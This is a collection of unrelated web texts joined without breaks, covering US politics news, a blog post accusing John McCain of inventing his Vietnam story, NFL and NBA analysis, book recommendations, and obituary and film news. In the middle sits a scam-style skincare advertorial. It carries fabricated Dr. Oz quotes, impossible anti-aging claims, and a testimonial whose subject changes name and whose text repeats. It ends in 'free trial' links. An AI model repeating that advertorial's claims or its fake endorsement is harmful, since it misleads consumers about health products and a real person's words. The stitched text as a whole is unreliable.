President-Elect Donald Trump should be wary of including John Bolton in his administration and also should steer clear of leadership fights that might take place among Republicans in the House or Senate, conservative commentator Pat Buchanan said Tuesday.
Bolton, who served as ambassador to the United Nations in the George W. Bush administration, has been mentioned for a top post in the coming Trump administration. But Buchanan said on “The Laura Ingraham Show” that Bolton advocates militaristic policies toward Iran and other places that are not compatible with the foreign policy positions Trump outlined on the campaign trail.
“The iron is never gonna be hotter than it’s gonna be his first day in office.”
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“He does appear to me, when I’ve seen him on TV, to have his own agenda, you know — which I don’t think is good,” he said.
Buchanan also said Trump should let the House and Senate pick their own leaders and not get bogged down in trying to influence those decisions. Instead, he said, Trump should focus on expanding his message into communities that have been hostile to the Republican message.
“To build and enlarge the constituency that won the election, you’ve gotta make gains in the African-American community,” he said. “And you gotta make gains in the Latino community. And I think you do it if you bring about prosperity, and frankly, if you cut taxes on small businesses.”
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Buchanan, a veteran of two administrations, in many ways wrote the blueprint during his two runs for the White House that Trump executed to perfection in 2016. He identified three key issues on which Trump broke with Republican orthodoxy of the past quarter-century — border security, trade reorientation, and avoiding foreign wars.
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“The Bushes and Obamas and Clintons went ahead and pursued these policies, and the results were what Donald Trump ran against so brilliantly in 2016,” he said.
But it is important that Trump not wait — because it will only get harder the longer he is in Washington, Buchanan said.
“The iron is never gonna be hotter than it’s gonna be his first day in office,” he said.
Buchanan defended Stephen Bannon, who took a leave of absence as chairman of Breitbart News to run Trump’s campaign after the ouster of campaign Chairman Paul Manafort. Buchanan said Trump should ignore criticisms of Bannon.
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The new president should concentrate on reorienting a foreign policy posture that has not changed significantly since the fall of the Soviet Union, Buchanan said.
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“You protect your vital interests and vital alliances, but I do think this: I think all these Cold War — and some of these commitments to go to war — date back to when I was in grammar school,” he said. “The Cold War is over 25 years ago. I mean, this is my problem.”
Buchanan said that means, as Trump made clear during the campaign, other countries will have to start relying on themselves for national defense.
“Some of these other countries we’ve carried on our backs all these years have gotta carry more of the load themselves,” he said. “And that’s exactly, I think, Trump’s message. And I think we have to do it. It’s coming one day.”It is now beyond a doubt that John McCain embellished/made up his story about the cross in the dirt in Vietnam, and he needs to be thoroughly questioned by a prominent journalist on a major network.
McCain's story is so similar to Russian author Alexander Solzhenitsyn's rendition of his experience in a Siberian gulag that it simply cannot be true. Andrew Sullivan and Mark Nickolas have provided compelling arguments that McCain's story is made up, and it is now up to the mainstream Media to grill the Senator from Arizona.
Why has this not happened so far?
One reason -- and it's the same reason the MSM did not question the lead up to war in Iraq: They are afraid of seeming unpatriotic. John McCain symbolizes everything journalists and liberals fear in America, a right war veteran with impeccable hero credentials.
The right wing smear machine will swing into action if serious questions are asked, and the usual gaggle of talking heads will hurl their tried and tested arsenal of liberal bashing talking points to deflect from the issue at hand.
Think back to pre-Iraq invasion:
Journalist/Liberal: There is no compelling evidence that Saddam has Weapons of Mass Destruction, or that there are ties between Saddam and Al Qaeda. Is an invasion necessary?
Republican Talking Head: Are you saying Saddam Hussein is a good guy? He gassed his own people! Why do you hate freedom and America so much?
And what would happen today:
Journalist/Liberal: John McCain's story about drawing a Christian Cross in the dirt while he was a prisoner in Vietnam is very similar to Alexander Solzhenitsyn's account of his time in a Siberian Gulag.
Republican Talking Head: Are you questioning John McCain's record in Vietnam? Are you calling one of America's war heroes a liar? This is step too far. This goes to show how much Liberals hate the troops. You hate freedom, and you hate America.
Rather than bow to name calling and vilification tactics, the mainstream media
(and Obama's campaign for that matter) should follow the blogosphere on this one, and take it to McCain, who is clearly lying about his experiences in Vietnam to shore up empathy from the Christian voters he dearly needs for this election.
Politicians lie all the time, but this one is particularly shocking as it is about an experience so deeply personal and profound that it defies belief that anyone would abuse it for the sake of politics. It just goes to show how far McCain will go to get himself elected.We've taken a look at the outside linebackers, but now it's time to kick it inside and evaluate the roster. Of course, some might consider this post a little useless, given that the 49ers easily have the best group of inside linebackers in the NFL.
More: QB | RB | CB | : QB | WR TE | OL | DL | ILB | OLB S | ST
I'd take it a step further and suggest that they have the best two inside linebackers in the NFL, individually. Meaning that Patrick WIllis is No. 1 and NaVorro Bowman is No. 2.
There were some who suggested that it was a "luxury," that the 49ers needed to pass up when there was talk of extending Bowman. Why would a team need the two best inside linebackers in the league? There were people suggesting that extending Dashon Goldson was a bigger priority.
Let's just say I'm glad those people are disappointed. Let's take a look at the inside linebackers below.
Patrick Willis
Sacks Interceptions Tackles G Sacks YdsL Int Yds IntTD Solo Ast Total 2012 - Patrick Willis 16.500 4.5 2 2 0 88 32 120
Willis continues to be measured by being the best inside linebacker in the NFL. Season in and season out, he shows us why that is. But over the past two seasons, Willis has been asked to do some different things. We're hearing Bowman's name more on those sideline tackles and and we see Bowman chasing down plays more and more.
That doesn't mean Willis is slowing down. Well, technically speaking he might have lost a tiny bit of speed because he's actually bulked up a little bit but no, Bowman is just being asked to do different things. Willis is covering a lot more, and I gotta say, he's damn good at it.
Willis was pretty darn good in coverage. He allowed one touchdown his way all season, picked off two passes, and batted down at least five passes. He was the best coverage linebacker by far last season, and I can't think of anybody close.
NaVorro Bowman
Sacks Interceptions Tackles G Sacks YdsL Int Yds IntTD Solo Ast Total 2012 - NaVorro Bowman 16 2 9 1 11 0 93 51 144
And then we come to Bowman. If you recall, I loved the drafting of Bowman.. I thought it was one of the best picks this team has made in a very long time. I have to say I was worried during his rookie season though, because he looked just... just awful. Fortunately, that was in very limited time.
Since then he's done nothing but be an absolute monster. He plays all over the field, he's not your prototypical TED linebacker by any stretch of the imagination. Willis actually came off the field this season from time to time, but Bowman stayed on. This was when the 49ers needed another corner in coverage. Bowman's duties remained the same on those plays.
I always wondered when another linebacker would come in the trumps Willis on range and angles, but I never expected that to be someone on our own team. Bowman is one half of a ridiculously high-level tandem of inside linebackers.
We saw a lot of Grant in 2011. He stepped in for an injured Willis and he played pretty phenomenal football, given the circumstances. He looked like the best backup inside linebacker in the league. So the 49ers really wanted to hold on to him.
It's my belief that Grant could have went elsewhere and been a starter last season. Unfortunately for him, he didn't see a ton of snaps in the regular season, which was fortunate for the 49ers because it meant both Willis and Bowman were healthy.
Instead, Grant was primarily a special teamer, but we all felt totally secure knowing he was there just in case.
Gooden is a special teamer and not much else. It's true that he'd step up if both top guys or if Grant was injured, but aside from that, he's a special teamer. Fortunately, he's pretty darn good on special teams. There's really not much else to say on him, as it stands.
Looking Forward
Willis and Bowman are the unquestioned starters going forward. That is easily the most undisputed position on the roster as far as starting roles go. Unfortunately, the 49ers will likely need to find a backup as Grant is set to hit free agency.
If the market has slowed on Grant, then I would love for the 49ers to re-sign him to a multi-year contract as a backup. I'm not sure if Grant would re-sign though, as I believe he wants a chance to start in the NFL.
On top of that, Gooden is simply not the guy the 49ers need at the position. He's a special teams player and he serves the team well in that role, but that's about it. He is not backup material, and will need to remain the No. 4 guy going forward.
It's likely the 49ers draft a backup somewhere around the fourth or fifth round, but bringing in a free agent is also a possibility, as there's plenty of veterans out there available.While Jane Austen’s enduringly popular novel of love and manners has been retold time and again, through many different mediums, it’s rare that an author of Curtis Sittenfeld’s stature has taken a crack at reimagining Pride and Prejudice. And the results are utterly addictive. With Eligible, Sittenfeld transforms Lizzy and Jane into freelance journalist Liz Bennet and her yoga instructor big sister, two single women on the far side of 35 heading home to Cincinnati after their father’s recent health scare. There, they find their three younger sisters still living at home, the family manse falling apart, and their mother in denial (in between online shopping binges). Sticking around for a while becomes more interesting with the arrival of two hot doctors: Chip Bingley, who falls head over heels for Jane, and the rude, stuffy Fitzwilliam Darcy, with whom Liz forms a combative, thoroughly modern bond. In Sittenfeld’s hands, Bingley is a former reality star, Lydia and Kitty snotty CrossFit enthusiasts, and the indefatigable Mr. Collins a socially awkward tech billionaire. But the story, particularly its savvy heroine, maintains the spirit of its source material, while producing fresh pleasures of its own. Here’s author Sittenfeld on 10 more books every Pride and Prejudice fan must read.
A Guinea Pig Pride & Prejudice, by Jane Austen, Alex Goodwin, and Tess Gammell
If you’re anything like me, you had no idea how much the world needed a furry rodent reenactment of Lizzie and Darcy’s love story until one existed. These staged photos wink but don’t mock, and the (human) authors’ affection for their source material is obvious.
The Love Affairs of Nathaniel P., by Adelle Waldman
This whip-smart novel brings Austen’s level of anthropological insight to the romantic machinations of youngish contemporary New Yorkers.
The Love Letter, by Cathleen Schine
An anonymous love letter is delightfully disruptive to the owner of an indie bookstore, and to others in her small town, in this very romantic tale.
Longbourn, by Jo Baker
It turns out the goings-on of the Bennet family’s household look a little different when you’re their maid. This is an insightful and impeccably researched reimagining of Pride and Prejudice from the servants’ perspective (meaning it also contains some of the upstairs-downstairs flavor of Downton Abbey).
The Virgin Suicides, by Jeffrey Eugenides
The five Bennet sisters find their counterparts (sort of) in the five Lisbon sisters, who, true to the novel’s title, off themselves one by one in their suburban neighborhood. This is a strange, dreamy novel I suspect has inspired several of fiction’s first-person plural narrators since.
Persuasion, by Jane Austen
This was the final novel Austen wrote and happened to be the last of her novels I read. It’s bittersweet in tone and filled with classic Austen wisdom—and I was genuinely unsure of who’d find love with whom.
Pride & Prejudice: A BabyLit Counting Primer, by Jennifer Adams
This is a wonderfully illustrated counting book, with the items all Austen-inspired: four marriage proposals, etc., etc.
Cozy Classics: Pride & Prejudice, by Jack & Holman Wang
Can there be too many board books inspired by Pride and Prejudice? Surprisingly, no, at least if they’re this charming. Humblingly, the book distills all the drama and romance of Pride and Prejudice down to twelve words, and it actually does a really respectable job. I can only dream of being so concise.
Stiltsville, by Susanna Daniel
While taking place in a completely different time and place from Pride and Prejudice (late 20th-century Miami), I’d argue Daniel picks up where Austen left off, which is after the wedding vows have been exchanged. Stiltsville follows a marriage over many decades, from start to finish, and it’s incredibly wise, compassionate, and moving.
Jane Austen: A Life, by Claire Tomalin
Okay, full disclosure: I’m only about 20 pages in, but it’s considered the definitive biography of Austen and it’s excellent and very detailed so far (let’s just say I’d never given thought to whether Austen’s mom breastfed her). I can’t wait to learn more about the writer who has brought so much joy to so many of us.
Eligible hits shelves April 19, and is available for pre-order now.A jury has acquitted a Nebraska police officer in the shooting of a man after a traffic stop last year.
The Kearney Hub reports (http://bit.ly/2o7hMVs ) that suspended Kearney police officer Derek Payton was found not guilty Thursday of second-degree assault.
Payton had pleaded not guilty in September for the June 5 shooting of Jose Klich. Payton is accused of shooting three times at Klich, striking him once in the abdomen. Prosecutors had said Payton was not in the path of Klich's car when Klich began to drive off.
Prosecutors played audio recordings of officers' radio calls, and when Payton was asked why he was pursuing Klich's vehicle, he could be heard saying, "He hit me with his car."
Payton had faced up to 20 years in prison if convicted.
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Information from: Kearney Hub, http://www.kearneyhub.com/“If there’s something out there that might be beneficial to states, I expect states would likely opt in,” said Gov. Jim Douglas of Vermont, a Republican and the chairman of the National Governors Association. “I mean what’s the harm, they likely will conclude, it’s only an option.”
But in some conservative states, the public option — which critics portray as the camel’s nose under the tent of fully nationalized medicine — is such an anathema that lawmakers and governors may choose to stand against it. Lawmakers in 11 states have introduced measures to block other elements of the federal legislation, like mandates that individuals have insurance and that most employers provide it, according to the National Conference of State Legislatures.
As states consider the public option, the critical factors, besides local politics, may include the size of a state’s uninsured population and its marketplace competition. States vary greatly in the number of health insurers, and because they require adequate risk pools, too many competitors — as well as too few — can be detrimental.
“Insurance is the law of big numbers,” said Sandy Praeger, the state insurance commissioner in Kansas. “If you divide the pie up too many times so you don’t have a sufficient number of insured, it’s hard to keep costs under control.”
Ms. Praeger predicted that Kansas’ conservative Legislature would opt out of the public plan because the state has five active health insurers.
Here in Georgia, the state insurance commissioner, John Oxendine, a Republican candidate for governor in 2010, said he “would lean extremely, extremely strongly to opting out.” Under Mr. Reid’s proposal, the public option would be offered starting in 2013 alongside private insurance plans in a new government marketplace, or exchange. Critics argue that it would undercut private insurers and drive them from the market, leaving the government as the sole insurer.
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Mr. Reid, of Nevada, has released few details of his plan since announcing his intent on Oct. 26. Then, as now, Senate negotiators were working to merge bills passed by two committees, one with a public option and one without.
In a concession to commercial insurers, Mr. Reid said his public plan would negotiate payment rates with doctors, hospitals and other providers rather than paying lower rates pegged to Medicare reimbursement levels.
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That is also the case in the bill that passed the House. Because provider payments would be negotiated, just as they are with private insurance, the Congressional Budget Office estimates that the public plan would attract only six million of the 30 million consumers who would buy insurance on the exchanges.
Its analysis also projects that premiums for the public option might be “somewhat higher” than those for private coverage because enrollees would presumably be less healthy.
Although the effective date for a public plan is still four years away, there are 37 races for governor next year that will determine who will be in office if the issue lands in state capitals.
In 20 of those races, incumbents will not be eligible for re-election. When the Republican victors of last week’s elections in New Jersey and Virginia take office, there will be 26 Democratic governors and 24 Republicans.
The opt-out question was raised in the final week of those campaigns. In New Jersey, Gov. Jon S. Corzine, a Democrat, announced he would not opt out, while Christopher J. Christie, the Republican who defeated him, said he did not favor a public option. In the final debate of the Virginia race, the Republican candidate, Robert F. McDonnell, said he would opt out, and his Democratic opponent, R. Creigh Deeds, said he would |
and research, his team discovered 2 products that when combined literally took 10 to 20 years off women’s appearance in just a month. The shocking part is that they are 100% safe, and cost next to nothing! Dr Oz's "miracle" age reversal solution is a duo combination of key ingredients found in Diamond Essence with Diamond Shine.
"This is the anti aging miracle of the decade as far as I'm concerned."
So what is it?
2 Key Ingredients For Anti Aging:
1. Matrixyl 3000+ Complex
2. Argireline
These are both natural ingredients that work together to erase wrinkles and fine lines at the cellular level – below the surface of the skin – which is why they’re so effective.
Matrixyl 3000+ Complex, The Fountain of Youth:
The first piece of the anti aging puzzle Dr. Oz talked about was Matrixyl 3000+ Complex.
"Matrixyl 3000+ Complex is the secret to cheat your age". -Dr. Oz
Matrixyl 3000+ Complex penetrates deep into damaged skin and stimulates new collagen – a protein which makes skin appear plump and firm. It's all the rage in beauty circles, much in part because of a 2009 study stating, applying non-prescription Matrixyl 3000+ Complex to your skin caused a 60% reduction in fine lines and wrinkles. Dr. Oz said this is why Diamond Essence is so effective. It was one of the few products on the market that had Matrixyl 3000+ Complex in the right consistency and dosage.
Argireline:
He said the second piece, when combined properly with Matrixyl 3000+ Complex, literally makes your face look two decades younger in weeks! Argireline works by binding to moisture. It can hold up to 1,000 times its weight in water, making it an excellent natural skin plumper. Argireline helps your skin repair and regenerate itself after suffering from dryness, environmental stresses, or irritation. He said one of, if not the only products you can buy over the counter with an effective concentration of Argireline was found in Diamond Shine.
"What the combination of Matrixyl 3000+ Complex & Argireline does is get rid of all the old, dead layers of skin and helps your skin generate fresh, younger layers. Our tests show that you can erase almost 10 to 20 years off your face in less than 14 days. But the key is to choose the creams and serums that contain the highest and purest quality ingredients, since they’re not all the same. The only two we found during our research were Diamond Essence with Diamond Shine. This is what my wife uses. This is what I recommend to all my celebrity clients." - Dr. Oz
"How do I use it?"
It's actually very simple. You simply use both products before bed. Dr. Oz said on the show that, "The trick is to combine Diamond Essence with Diamond Shine. These two products both contain high concentrations of pure Matrixyl 3000+ Complex and Argireline in just the right concentrations. My team also discovered that they contain all sorts of anti-oxidants, an ingredient called Dermaxyl (also known as facelift in a jar) and Ester-C (the active anti-aging compound in Matrixyl 3000+ Complex).
"Getting older is rough for any woman, even an actress. Now I feel like a new woman! Thanks Dr. OZ!"
We Decided to Put it to the Test!
As excited as we were after the show and the flood of emails and letters, we wanted to research Dr Oz's anti-aging ingredients ourselves before we wrote this feature piece praising them. We decided to take one volunteer from our readers. You've already met Ashley Davis, who jumped at the chance to trial this combo. Here are her results...
Ashley's 14 Day Diamond Essence and Diamond Shine Trial Results:
Ashley is a 67 year grandma of 2 from Los Angeles. Like most women her age, the years have started to give her unwanted lines and wrinkles. Ashley said she decided to trial Diamond Essence and Diamond Shine because she was so frustrated that nothing else has produced results. She was even considered a highly risky and very expensive facelift procedure. Cellumis was somewhat of a last resort for her.
Here are her results....
DAY 1 "After the first day of using Diamond Essence with Diamond Shine, I was shocked at the drastic results. The lines, dark spots, and wrinkles - without question - were visibly reduced in size right before my eyes! I was astonished by the results, and literally felt 15 years younger again. It was like watching all my wrinkles and fine lines vanish right off! I don't know how else to describe it! I could feel a warm tingling sensation on my cheeks, around my eyes, and on my forehead. I looked in the mirror and saw that my face looked a bit rosy - the result of revitalizing blood rushing to the surface of my skin to renew my face. After both products were absorbed into my skin, my face looked firmer and had a beautiful glow to it." DAY 5 "After five days of using Diamond Essence with Diamond Shine I was shocked at the drastic results. The lines, dark spots, and wrinkles - without question - were visibly reduced in size right before my eyes! I was astonished by the results, and literally felt 15 years younger again. It was like watching all my wrinkles and fine lines vanish right off!" DAY 14 "After 14 days, not only had all my doubts and scepticism absolutely vanished - SO DID MY WRINKLES! The lines on my forehead, the loose, sagging skin on my neck, my crows’ feet – even the age spots on my face had COMPLETELY disappeared. I've never felt or seen anything tighten my skin with this kind of force before, no matter how expensive the product! After the 2 weeks, my skin not only stayed that way, it actually improved every day until it became as beautiful and radiant as it was 20 years ago. By this point, all my friends and family were shocked. They couldn't believe the difference, and were convinced I was lying about not getting botox - I CAN'T WAIT to show them this article!"
"Eventually the word of my youthful transformation got to my ex-husband who had divorced me for being "too old". He came crawling back and asking to take me out to dinner at one of the fanciest restaurants in town - the very same restaurant he used to take me to when were were dating decades ago. He told me that he had "made a huge mistake" and that he had realized that he "can't live without me". He called, texted, and emailed me day and night.
Eventually I had to change my phone number and email address. Finally one day, he got the nerve to come straight to my house to try to convince me to give him a chance! This is what I had been waiting for. I had gone over this conversation in my mind a thousand times and told him exactly how I felt, "I'm glad that you divorced me and I'll NEVER take you back - you're just too old and boring for me now." The look on his face was priceless!"
Before and after picture of Brenda Wright. The picture on the right was taken after only 14 days of using Diamond Essence with Diamond Shine.
"My skin looks incredible...even younger and smoother than when I was 35 - Thank you Diamond Essence and Diamond Shine!" the grandma-of-two exclusively told ‘Shape Magazine’ of her wrinkle transformation.
The Verdict:
Using the Diamond Essence with Diamond Shine, removed virtually 90% of all Ashley's wrinkles and problem areas. It tightened her face and neck, removing all signs of sagging, aging, and dehydrated skin.
Will This Work For You?
There is plenty of skincare hype out there, and most of those products are ridiculously expensive. With so many options it’s only natural to be skeptical about the results, and so we don't want to promise our readers anything - instead we simply want to challenge you to do what Dr. Oz recommends to his celebrity patients: try it for yourself!
Please remember, you want to use Diamond Essence with Diamond Shine in combination for best results.
For your convenience, we have provided the links to the exact products Dr. Oz recommended. As of the writing of this article they are still offering Free Test Trials of Diamond Essence with Diamond Shine. Use the links below and you will get the lowest possible shipping price as well.
Free Trial Links:
Diamond Essence
Diamond ShineCome February 2, while the wind outside blows cold and sends swirls of snow skittering across the frozen Massachusetts landscape, my family, friends, and I will be basking in the sheer anticipation of warm spring breezes... and merrily celebrating a grand holiday with song, good cheer, and a sumptuous feast.
"February 2! Why, there's nothing special about that date... it's only Groundhog Day," you may say.
Yes, that's exactly what it is. But what to many folks marks just another wintry 24 hours, or—at the most—a peek at Pennsylvania's famed Punxsutawney Phil on the evening news, is to me and mine a festive occasion. As Pete Seeger's recording of the old Appalachian folk tune "Groundhog" sets the mood, we honor the day-a portent of spring-and the messenger who heralds it by having Old Mister Woodchuck himself to dinner... usually in the form of a delicious meat pie and other groundhog recipes. This observance has become as traditional to us as having turkey on Thanksgiving and roast goose on Christmas.
In fact, we begin preparing for the day's festivities months in advance. We have to, since otherwise the guest of honor would be in hibernation during the five months preceding the Great Day, and—like as not—would sleep right through the party!
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A Late Sleeper
As nearly everyone knows, popular tradition holds that the wily groundhog emerges from its burrow on February 2. In my neck of the woods (coastal Massachusetts), however, Mother Nature generally tells a different story. Chucks usually appear in late March or early April (the very earliest I've seen them up and about was one especially mild week at the end of February). The males come out first, and they have spring lovemaking—not the weather or shadows—on their minds. Kits, in litters of four or five, are born during April and May.
Although naturalists and outdoor photographers tend to look fondly upon the forager, most growers use every means at their disposal, from fence to force, to keep the mammalian "nuisance" off their premises. A few individuals, however — including myself — maintain a third perspective on Marmota monax: We cherish this specimen of our native fauna as a gastronomic treat.BY: Follow @P_Crookston
White House press secretary Sarah Huckabee Sanders on Friday stood by chief of staff John Kelly calling Democratic Rep. Frederica Wilson (Fla.) an "empty barrel," adding her own description for the congresswoman.
Kelly castigated Wilson during Thursday's White House press briefing for revealing details of a phone conversation that President Donald Trump had with the widow of a soldier this week. Kelly also said that Wilson lived up to "the long tradition of empty barrels making the most noise" by boasting to the audience at a 2015 ceremony for a new FBI building dedicated to bureau agents killed on the job that she obtained funding for the project.
A reporter asked Sanders if Kelly, a retired four-star Marine general, stands by those comments given video of the speech that has surfaced, which shows Wilson not claiming credit for helping to fund the building.
"Absolutely," Sanders replied. "General Kelly said he was stunned that Representative Wilson would make comments at a building dedication honoring slain FBI agents about her own actions in Congress, including lobbying former President Obama on legislation."
"As General Kelly pointed out, if you're able to make a sacred act like honoring American heroes all about yourself, you're an empty barrel," Sanders added. "If you don't understand that reference, I'll put it a little more simply: as we say in the South, ‘all hat, no cattle.'"
Another reporter took issue with Sanders' characterization, saying that Wilson "effusively praised" the FBI agents in "the bulk of the speech." Sanders said she saw the speech and does not think it disproves anything Kelly said.
"[Wilson] also had quite a few comments that day that weren't part of that speech and weren't part of that video that were also witnessed by many people that were there," Sanders said.
The reporter went back-and-forth with Sanders, asking her if Kelly misrepresented Wilson, which she denied. Sanders summarized Wilson's actions as "grandstanding."
"There was a lot of grandstanding; he was stunned that she had taken that opportunity to make it about herself," Sanders said.
The reporter asked if Kelly would address the matter further since he was "wrong," and Sanders dismissed that claim.
"If you want to go after General Kelly, that's up to you," Sanders said. "If you want to get into a debate with a four-star Marine general, I think that's something highly inappropriate."BOSTON – The Celtics are a legitimate threat to win the Eastern Conference next season, and if you don’t believe that you haven’t watched enough Boston games – and you haven’t seen enough of Gordon Hayward. Putting aside Tuesday’s optics – and it sure looked like Hayward’s camp, panicking after word leaked that Hayward intended to sign with the Celtics, spent the day trying to make people believe he was still on the fence until his 2,000-word Players Tribune piece was ready to be posted – this is a flawless fit, a springy, scoring small forward joining forces with a 53-win team that sorely needs one.
For months, Boston hunted Hayward. It liked Jimmy Butler, it wanted Paul George, but it needed Hayward. Jae Crowder is a sturdy defender, but his offense comes and goes, and the Celtics desperately needed a wing player who could take some of the pressure off Isaiah Thomas. That’s Hayward, an efficient scorer (47.1 percent) who knocked down nearly 40 percent of his threes last season.
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Hayward averaged a career-high 21.9 points, and there is no reason to believe he can’t duplicate, or exceed, that production next season. He’ll benefit from playing faster – the Jazz played at the slowest pace in the league last season; Boston was in the middle of the pack – and his open looks will multiply with all the attention Thomas draws on the floor. Finding clear paths to the basket could be difficult in Utah with Rudy Gobert and Derrick Favors out there; the Celtics’ floor-spacing bigs will open up the court.
Gordon Hayward shot 47.1 percent from the floor last season. (AP)
Story continues
Hayward developed rapidly the last three seasons, but there are facets of his game that are still untapped. Boston loves to play through its wing players in the post – Evan Turner and Marcus Smart are recent examples – and Hayward has the size and athleticism to become a double-team-drawing weapon on the block.
Hayward was light on the details when it came to explaining his reasons for leaving Utah – he wants to win a championship and he wants to play for Celtics coach Brad Stevens – but it’s easy to see why. For one, the Western Conference is an arms race, with the reorganization of talent (Chris Paul to Houston) and the influx of others (Paul George, Jimmy Butler and Paul Millsap) making the West as tough as it’s ever been. Utah was a 51-win No. 5 seed last season, but it might take that many wins just to get into the playoffs next season.
Another thing: Hayward was a first-time All-Star last season, and you can’t underestimate the importance of that honor on a young player. In the West, Hayward’s path back to All-Star status was keyhole narrow; in the East, barring injury, he’ll be a frontrunner to make the team every year.
Now, about that conference contender stuff: Skeptics will say Boston needed a monster game from Smart in Game 3 of the conference finals to avoid getting swept by Cleveland. But there’s a flip side to that – a horrendous performance by Smart in Game 4 contributed to the Celtics blowing a 16-point lead. Boston wins that, reclaims home court … and, yeah, the Cavs probably still take the series. But the gap is closer than you think. And Boston just added an All-Star while Cleveland, terrified at the thought of LeBron James bolting after next season, missed on George and has a “Help Wanted” sign outside its general manager’s office.
Is Boston the favorite? No. Is a Cavs-Celtics series competitive? Absolutely.
Isaiah Thomas should form a potent combo with Hayward. (AP)
And remember: Boston probably isn’t done dealing. Celtics president Danny Ainge is effectively operating two teams, one with a core built to win now (Thomas, Hayward, Al Horford) and another (Jaylen Brown, Jayson Tatum and as many as seven first-round picks over the next three seasons) in development. Figuring the Hayward/Brown/Tatum mix could be the most challenging. Would Ainge be willing to part with one of his prized forward prospects now that the 27-year-old Hayward is locked in for at least the next three seasons?
That probably depends on who is available. The trade market for stars has momentarily dried up. One player worth keeping an eye on, two league executives told The Vertical: Memphis’ Marc Gasol. The Grizzlies lost Zach Randolph, Tony Allen could be next out the door, and if you were filling out your Western Conference playoff bracket today, Memphis probably wouldn’t be in it. Would the Grizz move the 32-year-old Gasol for a ready-made rebuilding package of players and picks? Would Boston – which has to be wary of putting together a team that would beat Cleveland but still get pulverized by Golden State – be interested? Again, worth watching.
(An aside: What must Indiana be thinking right now? Boston was dodgy during George trade talks last week, but the Celtics were determined to see the Hayward situation through before committing to a package of players to offer Indy. But what about now? Surely Boston would be more confident of its ability to sign George next summer with Hayward committed – and therefore more willing to go deeper into its well of assets to get him. Makes the Pacers decision to jump on Oklahoma City’s Victor Oladipo/Domantas Sabonis offer – a package that figured to always be there – that much more perplexing.)
Regardless, it’s good to be Boston right now. For the second year in a row the Celtics landed a top free agent, and just like Horford, Hayward looks like a perfect fit. The talent drain has made the East a shell of the West, but the competition at the top of the conference figures to be as fierce as it’s been since James returned to Cleveland. Ainge got his star, Stevens got back his favorite player and the Celtics are true contenders once again.
Popular video from Yahoo Sports:The Experts Series is a multi-part project which delves into the mindset of athletes who've reached the pinnacle of their profession, offering insight on the philosophy and fundamentals that led to their most memorable moments.
The Moment
Michigan Stadium holds attendance records for NCAA football, NCAA hockey, and for a soccer game played in the United States.
The announced attendance for the 2014 NHL Winter Classic between the Toronto Maple Leafs and Detroit Red Wings at The Big House was 105,491 - shattering the previous record for attendance at an NHL game by more than 30,000 fans.
Sixty minutes were not enough to decide a winner in that game, nor were the five minutes of 4-on-4 that followed.
Pavel Datsyuk of the Red Wings and Joffrey Lupul of the Maple Leafs exchanged tallies in the shootout to leave the teams level through four shooters. When Jonathan Bernier denied Tomas Tatar on the Red Wings' third attempt, the fate of both sides was planted firmly on the stick of Leafs center Tyler Bozak.
"To be honest, I was pretty nervous," Bozak told theScore. "I don't really get nervous in those situations, but it was a big game. And it was for the win."
Bozak started out wide to the right, moved back to the middle of the ice and snapped a low shot past Red Wings goalie Jimmy Howard's blocker, finding the twine.
"The amount of fans that were there. It was snowing. It was a pretty special moment," Bozak said. "I'd have to say I was pretty nervous, but once you grab the puck and start going down, you forget about all that and it just comes back to normal."
The Philosophy
Bozak has established himself as one of the NHL's premier shootout specialists during his time in the league. Entering the 2016-17 season, he'd converted on 14-of-35 attempts.
While many shootout artists like to go into their attempts with a gameplan, Bozak prefers to let the situation dictate his method of attack and take what the goaltender gives him.
"I don't really set up a move, or anything before I go down," he said.
"I just try to come with some speed, push the goalie back in the net, take a look and see what's open and try and pick a spot and shoot it there."
With the NHL adopting 3-on-3 overtime for the 2015-16 season, shootouts have made fewer appearances at NHL rinks, but a shooter's ability to beat a goaltender 1-on-1 remains as valuable a skill as ever.
Bozak has found a style that works for him, but he understands there are multiple methods of attacking these situations.
"Everyone's different," Bozak said. "Some guys have really good hands and great moves with dekes. For me, I think the chances of me scoring are a lot better if I shoot, rather than deke. There's a lot more room for error when you go in and then try to put a move on the goalie."
While Bozak prefers to keep things simple, he understands that the shooter's ability to influence the goaltender's positioning has always been the key to a successful scoring attempt.
"I think you mainly have to read the goalie," Bozak said. "If I come in and he's out really far it's gonna be tough to beat him with a shot in certain areas. If he's out far, if I'm gonna shoot it, it'll probably be 5-hole. Or you have to deke.
"But if I'm able to come in with a lot of speed and then slow down, it pushes him back in the net and then you have a lot more area to shoot at."
Previous editions of The Experts Series
Mike Weir on putting under pressure
Mike Weir on winning on golf's biggest stage
Kelly Gruber on what it takes to hit for the cycle
Tyler Bozak on the art of the faceoff
Wendel Clark on what it means to wear the 'C'
Dwayne De Rosario on perfecting the penalty kick
Dwayne De Rosario on delivering a set pieceSpence Jackson (KSDK)
The spokesman for Missouri gubernatorial candidate Tom Schweich, who committed suicide earlier this month after an anti-Semitic “whisper campaign,” was found dead in his apartment Sunday, Politico’s Nick Gass reports.
Police are reportedly investigating the death of Spence Jackson as a suicide. Jackson had worked as Schweich’s media director since 2011, and had also served as the spokesman for former Governor Matt Blunt.
Earlier this month, he called for the resignation of Missouri Republican Party Chairman John Hancock, who he believed was responsible for the “whisper campaign” that led to Schweich to take his own life. He said it would only be “fitting” for him to resign, “simply because his anti-Semitic whisper campaign does not reflect the values of the majority of Missouri Republicans.”
Hancock confessed to telling people that Schweich — who was a practicing Episcopalian, but who had a Jewish grandfather — was Jewish, but insisted that it was only because he honestly believed he was. It was not, Hancock insisted, intended to denigrate him.
Jackson disagreed, telling Missourinet’s Mike Lear that “I believe with all my heart that John knew what he was doing, He knew the reaction he was seeking from people. He knew what he was trying to get out of people.”
Former Governor Blunt issued a statement this morning, saying that he was “deeply saddened to learn of the passing of Spence Jackson who was a good friend for many years. Spence was a gifted communicator who dedicated his talents in public affairs to public service. Over his career he served as chief spokesman for three of Missouri’s statewide offices including that of the governor when I held that post. Spence was hard-working, well-liked and quick-witted. He will truly be missed. We mourn his passing and offer our prayers to his family and friends.”
Watch a report on his death via KSDK below.Bill Condon is directing the movie, which is taking its cues from the 1991 animated classic.
Ian McKellen has joined the all-star lineup of Disney’s live-action Beauty and the Beast, The Hollywood Reporter has confirmed.
Bill Condon is directing the movie, which is taking its cues from the 1991 animated classic.
The roll call already includes Emma Watson as Belle, Dan Stevens as the Beast/Prince, Luke Evans as the vain villain Gaston, Josh Gad as Le Fou, Gaston’s buffoonish and loyal sidekick, and Audra McDonald as Garderobe.
